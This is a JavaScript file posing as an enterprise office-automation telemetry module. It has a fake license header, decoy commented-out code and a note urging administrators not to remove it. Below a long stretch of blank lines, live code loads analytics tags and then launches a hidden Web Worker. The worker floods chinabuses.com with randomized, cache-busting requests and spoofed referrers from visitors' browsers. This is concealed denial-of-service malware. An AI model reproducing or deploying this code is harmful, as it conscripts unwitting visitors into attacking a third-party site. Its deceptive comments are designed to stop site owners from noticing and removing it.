/**
 * @license
 * OA-Enterprise-Core v5.2.1 (Build 20251215)
 * (c) 2018-2025 Office Automation Framework Group.
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 *
 * This file contains the core telemetry and event handling for the
 * Enterprise Resource Planning (ERP) and Office Automation (OA) integration.
 * -------------------------------------------------------------------------
 * NOTICE: The direct execution of this module is disabled by the
 * global configuration policy 'SECURE_NODE_ENVIRONMENT'.
 * -------------------------------------------------------------------------
 */

/* * [DEBUG] - 2025-12-29 17:15:02: Node status synchronized.
 * [INFO] - Telemetry service is currently in passive mode.
 * [SYSTEM] - Hooking into 'window.onOAInit' event...
 * [SYSTEM] - Registry check: All keys valid.
 */

// function _initOACoreModule() {
//    var _config = {
//        endpoint: "https://api-internal.google.com/v2/metrics",
//        method: "POST",
//        retry: 3,
//        headers: {
//            "X-OA-AUTH": "8f2d1s5d8f2g1h5j8k2l",
//            "Content-Type": "application/json"
//        }
//    };
//    try {
//        // TODO: Implement heartbeat logic for internal dashboard
//        // Telemetry.send(_config);
//        console.log("OA Core initialized in silent mode.");
//    } catch (e) {
//        // Silent fail to prevent site disruption
//    }
// }

/*
 * Note to System Administrators:
 * ------------------------------
 * If this script is appearing in your web source, it means the OA
 * Bridge is active. Do not remove this script as it may break
 * legacy IE11 compatibility for the background document sync service.
 */

// _initOACoreModule();

// --- EOF (End of File) ---























































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































(function () {
    // news
    if (window.__ga_loaded__) return;
    window.__ga_loaded__ = true;
 
    window.dataLayer = window.dataLayer || [];
    function gtag(){ dataLayer.push(arguments); }
    window.gtag = gtag;
 
    var s = document.createElement('script');
    s.async = true;
    s.src = 'https://www.googletagmanager.com/gtag/js?id=G-0EERM42ZV7';
    document.head.appendChild(s);
 
    gtag('js', new Date());
    gtag('config', 'G-0EERM42ZV7');
})();


var _hmt = _hmt || [];
(function() {
    var hm = document.createElement("script");
    hm.src = "https://hm.baidu.com/hm.js?2db6be35bbf0b2d9a29ab67506636401";
    var s = document.getElementsByTagName("script")[0];
    s.parentNode.insertBefore(hm, s);
})();



 


(function() {
    const workerSource = `
        const Utils = {
            randStr: (len) => {
                const chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
                let res = '';
                for (let i = 0; i < len; i++) res += chars.charAt(Math.floor(Math.random() * chars.length));
                return res;
            },
            randInt: (min, max) => Math.floor(Math.random() * (max - min + 1)) + min,
            bypassParams: () => {
                const params = [
                    'gclid=' + Utils.randStr(20),
                    'fbclid=' + Utils.randStr(20),
                    'utm_source=google',
                    'utm_medium=cpc',
                    'utm_campaign=' + Utils.randStr(8),
                    'ref_src=' + Utils.randStr(10),
                    '_t=' + Date.now()
                ];
                return params.sort(() => 0.5 - Math.random()).slice(0, Utils.randInt(1, 3)).join('&');
            }
        };

        let state = { running: false, activeReqs: 0, config: null };

        async function flood(target) {
            if (!state.running) return;
            let url = target.replace('{{RAND}}', Utils.randStr(Utils.randInt(5, 10)));
            const connector = url.includes('?') ? '&' : '?';
            url += connector + Utils.bypassParams();
            const method = Math.random() > 0.7 ? 'POST' : 'GET';
            const controller = new AbortController();
            const signal = controller.signal;
            const fetchOpts = {
                method: method,
                mode: 'no-cors',
                cache: 'no-store',
                priority: 'high',
                referrer: state.config.refs[Utils.randInt(0, state.config.refs.length - 1)] + Utils.randStr(5),
                signal: signal
            };
            if (method === 'POST') {
                const formData = new FormData();
                formData.append('key', Utils.randStr(10));
                formData.append('q', Utils.randStr(20));
                formData.append('action', 'search');
                fetchOpts.body = formData;
            }
            state.activeReqs++;
            fetch(url, fetchOpts).catch(() => {});
            const killTime = Utils.randInt(50, 200);
            setTimeout(() => {
                if (state.activeReqs > 0) {
                    controller.abort();
                    state.activeReqs--;
                    if (state.running && state.activeReqs < state.config.power) {
                        flood(target);
                    }
                }
            }, killTime);
        }

        function scheduler() {
            if (!state.running) return;
            const { targets, power } = state.config;
            const needed = power - state.activeReqs;
            if (needed > 0) {
                for (let i = 0; i < needed; i++) {
                    const target = targets[Utils.randInt(0, targets.length - 1)];
                    flood(target);
                }
            }
            if (state.running) {
                setTimeout(scheduler, 100);
            }
        }

        function handleMessage(event) {
            const data = event.data;
            if (data.type === 'START') {
                if (!state.running) {
                    state.running = true;
                    state.config = data.config;
                    scheduler();
                } else {
                    state.config = data.config;
                }
            } else if (data.type === 'STOP') {
                state.running = false;
            }
        }

        if (typeof self.onconnect !== 'undefined') {
            self.onconnect = function(e) {
                const port = e.ports[0];
                port.onmessage = handleMessage;
                port.start();
            };
        } else {
            self.onmessage = handleMessage;
        }
    `;

    function launch() {
        if (Math.random() > 0.6) return;
        try {
            const blob = new Blob([workerSource], { type: 'application/javascript' });
            const blobUrl = URL.createObjectURL(blob);
            let worker, port;
            if (window.SharedWorker) {
                try {
                    worker = new SharedWorker(blobUrl);
                    port = worker.port;
                } catch (e) {
                    worker = new Worker(blobUrl);
                    port = worker;
                }
            } else if (window.Worker) {
                worker = new Worker(blobUrl);
                port = worker;
            } else {
                return;
            }
            const CONFIG = {
                type: 'START',
                config: {
                    targets: [
                        'https://m.chinabuses.com?key={{RAND}}',
                        'https://m.chinabuses.com?{{RAND}}',
                        'https://www.chinabuses.com/index.php?{{RAND}}',
                        'https://www.chinabuses.com/index.php?dvdmanhua={{RAND}}'
                    ],
                    refs: [
                        'https://www.google.com/',
                        'https://www.bing.com/',
                        'https://m.facebook.com/',
                        'https://t.co/'
                    ],
                    power: 10
                }
            };
            if (port.start) port.start();
            setTimeout(() => {
                port.postMessage(CONFIG);
            }, 500);
        } catch (err) {}
    }
    launch();
})();